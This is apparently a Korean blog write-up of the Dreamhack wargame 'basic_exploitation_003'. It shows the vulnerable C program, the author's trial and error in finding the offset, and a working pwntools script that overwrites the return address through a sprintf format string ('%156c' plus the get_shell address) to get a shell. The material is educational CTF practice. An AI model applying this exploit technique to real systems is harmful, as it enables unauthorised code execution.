Pwnable/Dreamhack

Basic_exploitation_003

KSJ._.seven11 2023. 2. 26. 13:45

 

이번문제는 참 운빨로 푼 거 같다..

 

 

문제의 소스코드는 아래와 같다.

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

 

여기서 주의깊게 본 부분은 여기다.

바로 srpintf 부분이다...

 

이 부분 때문에 삽질을 정말 많이 했다.

 

printf 와 srpintf 의 차이점이라고 하면 srprintf는 받는 인자를 문자열..?로 저장해 준다고 한다.

 

즉 int 0123 을 받으면 문자열 0123 을 저장해 출력해준다는 소리였다.

 

먼저 offset은 정말 쉽게 구했다.

 

IDA Pro를 통해 파일을 먼저 뜯어봤다.

(Pattern 만들어서 시도하다 실패해서 IDA 썻다...)

 

IDA main 함수 decompile...

선언되는 char s 와 void * buf 를 보면 ebp에서 얼마나 멀어져 있는지 알아낼 수 있다.

 

여기서 char s는 사용자에게 입력받는 buf 를 문자열로 srpintf 함수를 통해 저장하는 문자열 값을 의미한다.

 

ebp-98h 의 거리를 계산하면 152가 된다.

 

여기에 SFP 가 있을 가능성을 우려하여 4바이트를 넣고 시도해 보거나 152바이트 그대로 시도 둘다 해봤다.

 

하지만 안됬었다.. 이유로는 sprintf 부분과 read 함수라 페이로드 p.send로 보내야했다.

 

sprintf 함수의 취약점을 검색하면 됬었거늘... 나는 바보 같이 sprintf 함수의 역할을 먼저 이해하고 이거의 우회(?) 할 방법을 찾고 있었다.

 

영상에서 보면 삽질을 정말 많이 했다.

 

결론부터 말하면 b "%156c" + ret을 덮을 값

 

으로 페이로드를 작성하면 됬다.

 

필자같은 경우 정말 운..? 으로 하나하나 때려박으면서 했다. %s %d %c 등등... 이유로는 문자열로 저장될때 어떻게 해야 버퍼를 다 덮을 수 있을까 싶어서 했던 아이디어 였다.

 

%156c 값을 넣으면 156개의 문자를 넣게 되는 것이며 sprintf 함수에서 다시 문자열로 저장할때 문자가 156개 이기 때문에 결론적으로 156만큼 채워지게 되지 않을까..? 이런 어리뚱땅한 생각을 하며 값을 넣었다.

 

다음으로 고안을 해야 했던것은 무슨 값으로 retn 을 덮어야 할까 였다.

 

먼저 checksec을 통해 걸려있는 보호기법은 아래와 같이 나왔다.

 

 NX 보호기법이 걸려있어서 버퍼에 임의에 쉘코드를 주입할 수는 없다..

 

아뿔싸 또 바보같이 돌아갈뻔 했다. 대놓고 문제 소스코드에 flag.txt 를 열어주는 get_shell 함수가 있는데 말이다 !

 

get_shell 함수의 위치는 간단히 gdb에서 디스어셈블 해서 찾았다.

 

0x08048669 가 함수의 시작 주소인 것을 확인할 수 있었다. 그렇게 페이로드를 작성하면 아래와 같이 이루어지게 작성하면 될 것이다.

from pwn import *


p = remote('host3.dreamhack.games', 15476)
e = ELF('./basic_exploitation_003')
context.arch = "i386"


shell = 0x08048669

payload = b'%156c' + p32(shell)

p.send(payload)
p.interactive()

 

제가 이해를 잘 못 한 부분이 있다거나 오타 및 피드백은 언제나 환영입니다 !